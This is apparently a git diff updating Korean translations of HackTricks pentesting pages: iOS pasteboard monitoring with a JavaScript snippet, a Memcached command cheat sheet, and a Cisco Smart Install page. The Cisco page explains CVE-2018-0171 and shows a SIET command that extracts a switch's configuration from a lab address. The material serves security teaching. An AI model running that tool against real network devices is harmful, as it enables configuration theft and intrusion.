- 존재하는 **항목 수** 및 **데이터 유형**을 확인하기 위해 표준 및 사용자 정의 데이터 유형 확인을 활용합니다.
|
||||
- `setItems:options:` 메서드를 검사하여 **만료 및 로컬 전용 옵션**을 확인합니다.
|
||||
|
||||
objection의 붙여넣기 보드 모니터와 같은 모니터링 도구 사용 예는 5초마다 generalPasteboard를 폴링하여 변경 사항을 출력합니다.
|
||||
**objection의 클립보드 모니터**를 사용한 모니터링 도구 사용 예시는 일반 클립보드를 5초마다 모니터링하여 새 데이터를 출력합니다.
|
||||
|
||||
다음은 objection의 접근 방식에서 영감을 받은 간단한 JavaScript 스크립트 예제입니다. 5초마다 붙여넣기 보드에서 변경 사항을 읽고 로그에 기록합니다:
|
||||
다음은 objection의 방법을 영감받은 간단한 JavaScript 스크립트 예시입니다. 5초마다 클립보드에서 변경 사항을 읽고 기록합니다:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -75,16 +80,21 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,66 +1,65 @@
|
|||
# Memcache Commands
|
||||
|
||||
## Memcache 명령어
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
### 명령어 치트 시트
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Commands Cheat-Sheet
|
||||
|
||||
**출처** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
지원되는 명령어(공식 및 비공식)는 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 문서에 문서화되어 있습니다.
|
||||
|
||||
안타깝게도 구문 설명은 실제로 명확하지 않으며, 기존 명령어를 나열하는 간단한 도움말 명령어가 훨씬 좋을 것입니다. 여기에는 [source](https://github.com/memcached/memcached)에서 찾을 수 있는 명령어 개요가 있습니다(2016년 8월 19일 기준):
|
||||
안타깝게도 구문 설명이 실제로 명확하지 않으며 기존 명령어를 나열하는 간단한 도움말 명령어가 훨씬 나을 것입니다. 여기에는 [소스](https://github.com/memcached/memcached)에서 찾을 수 있는 명령어 개요가 있습니다(2016년 8월 19일 기준):
|
||||
|
||||
| 명령어 | 설명 | 예시 |
|
||||
| --------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| get | 값을 읽습니다. | `get mykey` |
|
||||
| set | 키를 무조건 설정합니다. | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용하십시오. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n"</code></p> |
|
||||
| add | 새로운 키를 추가합니다. | `add newkey 0 60 5` |
|
||||
| replace | 기존 키를 덮어씁니다. | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터를 추가합니다. | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터를 앞에 추가합니다. | `prepend key 0 60 15` |
|
||||
| incr | 주어진 숫자만큼 숫자 키 값을 증가시킵니다. | `incr mykey 2` |
|
||||
| decr | 주어진 숫자만큼 숫자 키 값을 감소시킵니다. | `decr mykey 5` |
|
||||
| delete | 기존 키를 삭제합니다. | `delete mykey` |
|
||||
| flush\_all | 모든 항목을 즉시 무효화합니다. | `flush_all` |
|
||||
| flush\_all | n초 후에 모든 항목을 무효화합니다. | `flush_all 900` |
|
||||
| stats | 일반 통계를 출력합니다. | `stats` |
|
||||
| | 메모리 통계를 출력합니다. | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계를 출력합니다. | `stats malloc` |
|
||||
| | 항목에 대한 정보를 출력합니다. | `stats items` |
|
||||
| --------------------- | ------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | 값을 읽음 | `get mykey` |
|
||||
| set | 키를 무조건 설정 | <p><code>set mykey <flags> <ttl> <size</code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용해야 합니다. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 새 키 추가 | `add newkey 0 60 5` |
|
||||
| replace | 기존 키 덮어씀 | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터 추가 | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터 앞에 추가 | `prepend key 0 60 15` |
|
||||
| incr | 숫자 키 값을 주어진 숫자만큼 증가 | `incr mykey 2` |
|
||||
| decr | 숫자 키 값을 주어진 숫자만큼 감소 | `decr mykey 5` |
|
||||
| delete | 기존 키 삭제 | `delete mykey` |
|
||||
| flush\_all | 모든 항목 즉시 무효화 | `flush_all` |
|
||||
| flush\_all | n 초 후 모든 항목 무효화 | `flush_all 900` |
|
||||
| stats | 일반 통계 출력 | `stats` |
|
||||
| | 메모리 통계 출력 | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계 출력 | `stats malloc` |
|
||||
| | 항목에 대한 정보 출력 | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 통계 카운터를 재설정합니다. | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 (대부분의) 항목에 대한 메타데이터를 덤프합니다. | `lru_crawler metadump all` |
|
||||
| version | 서버 버전을 출력합니다. | `version` |
|
||||
| verbosity | 로그 레벨을 높입니다. | `verbosity` |
|
||||
| quit | 세션을 종료합니다. | `quit` |
|
||||
| | 통계 카운터 재설정 | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 모든 항목(대부분)에 대한 메타데이터 덤프 | `lru_crawler metadump all` |
|
||||
| version | 서버 버전 출력 | `version` |
|
||||
| verbosity | 로그 레벨 증가 | `verbosity` |
|
||||
| quit | 세션 종료 | `quit` |
|
||||
|
||||
**트래픽 통계**
|
||||
|
||||
명령어를 사용하여 현재 트래픽 통계를 조회할 수 있습니다.
|
||||
#### 트래픽 통계 <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
현재 트래픽 통계를 조회할 수 있습니다.
|
||||
```
|
||||
stats
|
||||
```
|
||||
|
||||
다음은 연결 수, 전송된 바이트 수 등을 제공하는 목록을 받게 됩니다.
|
||||
|
||||
예시 출력:
|
||||
|
||||
```
|
||||
STAT pid 14868
|
||||
STAT uptime 175931
|
||||
|
@ -86,93 +85,13 @@ STAT limit_maxbytes 52428800
|
|||
STAT threads 1
|
||||
END
|
||||
```
|
||||
|
||||
**메모리 통계**
|
||||
#### 메모리 통계 <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
현재 메모리 통계를 조회할 수 있습니다.
|
||||
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
|
||||
## memcache-commands
|
||||
|
||||
### Introduction
|
||||
|
||||
Memcached is a widely used distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in memory to reduce the number of times an external data source (such as a database or API) must be accessed.
|
||||
|
||||
This document provides an overview of the most commonly used commands in Memcached and their functionalities.
|
||||
|
||||
### Command List
|
||||
|
||||
#### SET
|
||||
|
||||
**Command**: `set <key> <flags> <exptime> <bytes> [noreply]`
|
||||
|
||||
**Description**: Stores the specified value in the cache under the given key. The `flags` parameter is used to store metadata about the value, such as its data type or encoding. The `exptime` parameter specifies the expiration time for the value, after which it will be automatically evicted from the cache. The `bytes` parameter indicates the size of the value in bytes. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `set mykey 0 3600 5\r\nhello\r`
|
||||
|
||||
#### GET
|
||||
|
||||
**Command**: `get <key>`
|
||||
|
||||
**Description**: Retrieves the value stored in the cache under the given key.
|
||||
|
||||
**Example**: `get mykey`
|
||||
|
||||
#### DELETE
|
||||
|
||||
**Command**: `delete <key> [noreply]`
|
||||
|
||||
**Description**: Deletes the value stored in the cache under the given key. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `delete mykey`
|
||||
|
||||
#### INCREMENT
|
||||
|
||||
**Command**: `incr <key> <value>`
|
||||
|
||||
**Description**: Increments the value stored in the cache under the given key by the specified amount. The value must be a numeric value.
|
||||
|
||||
**Example**: `incr mykey 10`
|
||||
|
||||
#### DECREMENT
|
||||
|
||||
**Command**: `decr <key> <value>`
|
||||
|
||||
**Description**: Decrements the value stored in the cache under the given key by the specified amount. The value must be a numeric value.
|
||||
|
||||
**Example**: `decr mykey 5`
|
||||
|
||||
#### APPEND
|
||||
|
||||
**Command**: `append <key> <bytes> [noreply]`
|
||||
|
||||
**Description**: Appends the specified value to the value stored in the cache under the given key. The `bytes` parameter indicates the size of the value to be appended. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `append mykey 5\r\nworld\r`
|
||||
|
||||
#### PREPEND
|
||||
|
||||
**Command**: `prepend <key> <bytes> [noreply]`
|
||||
|
||||
**Description**: Prepends the specified value to the value stored in the cache under the given key. The `bytes` parameter indicates the size of the value to be prepended. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `prepend mykey 5\r\nhello\r`
|
||||
|
||||
#### CAS
|
||||
|
||||
**Command**: `cas <key> <flags> <exptime> <bytes> <cas_unique> [noreply]`
|
||||
|
||||
**Description**: Stores the specified value in the cache under the given key, but only if the value has not been modified since the last retrieval (based on the `cas_unique` parameter). This command is used to implement optimistic concurrency control. The `flags`, `exptime`, and `bytes` parameters have the same meaning as in the `set` command. The optional `noreply` parameter can be used to indicate that the server should not send a response.
|
||||
|
||||
**Example**: `cas mykey 0 3600 5 12345\r\nhello\r`
|
||||
|
||||
### Conclusion
|
||||
|
||||
These are some of the most commonly used commands in Memcached. By understanding and utilizing these commands effectively, you can make the most out of Memcached's caching capabilities.
|
||||
|
||||
예시 출력:
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
|
@ -193,35 +112,21 @@ STAT active_slabs 3
|
|||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
만약 memcached 인스턴스에 충분한 메모리가 있는지 확신이 없다면, "stats" 명령어로 제공되는 "evictions" 카운터를 확인하세요. 인스턴스에 충분한 메모리가 있다면 "evictions" 카운터는 0이거나 증가하지 않아야 합니다.
|
||||
|
||||
만약 memcached 인스턴스에 충분한 메모리가 있는지 확신이 없다면 "stats" 명령어로 제공되는 "evictions" 카운터를 확인하세요. 인스턴스에 충분한 메모리가 있다면 "evictions" 카운터는 0이거나 증가하지 않아야 합니다.
|
||||
|
||||
**사용된 키는 어떤 것인가?**
|
||||
|
||||
현재 키 집합을 직접 확인하기 위한 내장 함수는 없습니다. 그러나 다음 명령어를 사용하여 사용된 키를 알 수 있습니다.
|
||||
#### 어떤 키가 사용되고 있는가? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
현재 키 집합을 직접 확인하는 내장 함수는 없습니다. 그러나 다음을 사용할 수 있습니다.
|
||||
```
|
||||
stats items
|
||||
```
|
||||
### 명령어: keys
|
||||
|
||||
### Command to Determine How Many Keys Exist
|
||||
특정 Memcached 서버에 저장된 모든 키의 수를 확인하려면 다음 명령어를 사용하십시오:
|
||||
|
||||
To determine the number of keys that exist in a Memcache server, you can use the `stats` command. This command provides statistics about the server, including the total number of keys stored.
|
||||
|
||||
```bash
|
||||
```plaintext
|
||||
stats items
|
||||
```
|
||||
|
||||
This command will return a list of items with their corresponding statistics. Look for the line that starts with `STAT items:`, which indicates the total number of items (keys) stored in the Memcache server.
|
||||
|
||||
For example:
|
||||
|
||||
```bash
|
||||
STAT items:1:number 10
|
||||
```
|
||||
|
||||
In this example, the Memcache server has a total of 10 keys stored.
|
||||
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -231,19 +136,23 @@ STAT items:2:age 1405
|
|||
[...]
|
||||
END
|
||||
```
|
||||
이것은 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. 이미 memcache 액세스를 수행하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)의 PHP 코드를 사용할 수 있습니다.
|
||||
|
||||
이는 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. 이미 memcache에 액세스하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)의 PHP 코드를 사용할 수 있습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사 광고**를 올리고 싶으신가요? 혹은 **PEASS의 최신 버전을 다운로드하거나 PDF로 HackTricks를 받고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**Cisco Smart Install**은 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지 로딩을 자동화하기 위해 Cisco에서 설계한 기능입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되며, 전송 계층 프로토콜인 TCP와 포트 번호 4786을 사용합니다.**
|
||||
**Cisco Smart Install**은 새로운 Cisco 하드웨어의 초기 구성 및 운영 체제 이미지 로딩을 자동화하기 위해 Cisco가 설계한 것입니다. **기본적으로 Cisco Smart Install은 Cisco 하드웨어에서 활성화되며 전송 계층 프로토콜인 TCP와 함께 포트 번호 4786을 사용합니다.**
|
||||
|
||||
**기본 포트:** 4786
|
||||
```
|
||||
|
@ -23,36 +28,41 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **스마트 설치 악용 도구**
|
||||
|
||||
**2018년에는 이 프로토콜에서 중대한 취약점인 CVE-2018–0171이 발견되었습니다. 위협 수준은 CVSS 척도에서 9.8입니다.**
|
||||
**2018년에 이 프로토콜에서 심각한 취약점인 CVE-2018-0171이 발견되었습니다. 위협 수준은 CVSS 척도에서 9.8입니다.**
|
||||
|
||||
**Cisco Smart Install이 활성화된 TCP/4786 포트로 전송되는 특수한 패킷은 버퍼 오버플로우를 유발하여 공격자가 다음을 수행할 수 있게 합니다:**
|
||||
**Cisco Smart Install이 활성화된 TCP/4786 포트로 전송된 특수 제작된 패킷은 버퍼 오버플로우를 유발하여 공격자가 다음을 수행할 수 있게 합니다:**
|
||||
|
||||
* 장치를 강제로 재부팅
|
||||
* 장치를 강제로 다시 부팅
|
||||
* RCE 호출
|
||||
* 네트워크 장비의 구성 정보를 도용
|
||||
* 네트워크 장비의 구성을 도용
|
||||
|
||||
**[SIET](https://github.com/frostbits-security/SIET) (스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며, Cisco Smart Install을 남용할 수 있게 합니다. 이 글에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. 펜테스터에게는 구성 정보를 탈취하는 것이 가치가 있을 수 있습니다. 이를 통해 네트워크의 독특한 기능에 대해 알 수 있으며, 공격에 대한 새로운 벡터를 찾는 데 도움이 될 것입니다.
|
||||
**[SIET](https://github.com/frostbits-security/SIET) (스마트 설치 악용 도구)**는 이 취약점을 악용하기 위해 개발되었으며 Cisco Smart Install을 남용할 수 있게 합니다. 이 기사에서는 합법적인 네트워크 하드웨어 구성 파일을 읽는 방법을 보여드리겠습니다. Pentester에게 구성 파일 유출은 가치가 있을 수 있습니다. 왜냐하면 네트워크의 고유한 기능에 대해 알게 되기 때문입니다. 이는 삶을 쉽게 만들어주고 공격을 위한 새로운 벡터를 찾을 수 있게 합니다.
|
||||
|
||||
**대상 장치는 "실제" Cisco Catalyst 2960 스위치입니다. 가상 이미지에는 Cisco Smart Install이 없으므로 실제 하드웨어에서만 연습할 수 있습니다.**
|
||||
|
||||
대상 스위치의 주소는 **10.10.100.10이며 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작하세요. **-g 인자**는 장치에서 구성 정보를 탈취하는 것을 의미하며, **-i 인자**는 취약한 대상의 IP 주소를 설정할 수 있습니다.
|
||||
대상 스위치의 주소는 **10.10.100.10이며 CSI가 활성화되어 있습니다.** SIET를 로드하고 공격을 시작합니다. **-g 인수**는 장치에서 구성을 유출하는 것을 의미하며, **-i 인수**는 취약한 대상의 IP 주소를 설정할 수 있습니다.
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (770).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
스위치 구성 **10.10.100.10**은 **tftp/** 폴더에 있을 것입니다.
|
||||
**10.10.100.10** 스위치 구성은 **tftp/** 폴더에 있을 것입니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사의 회사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 참여하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
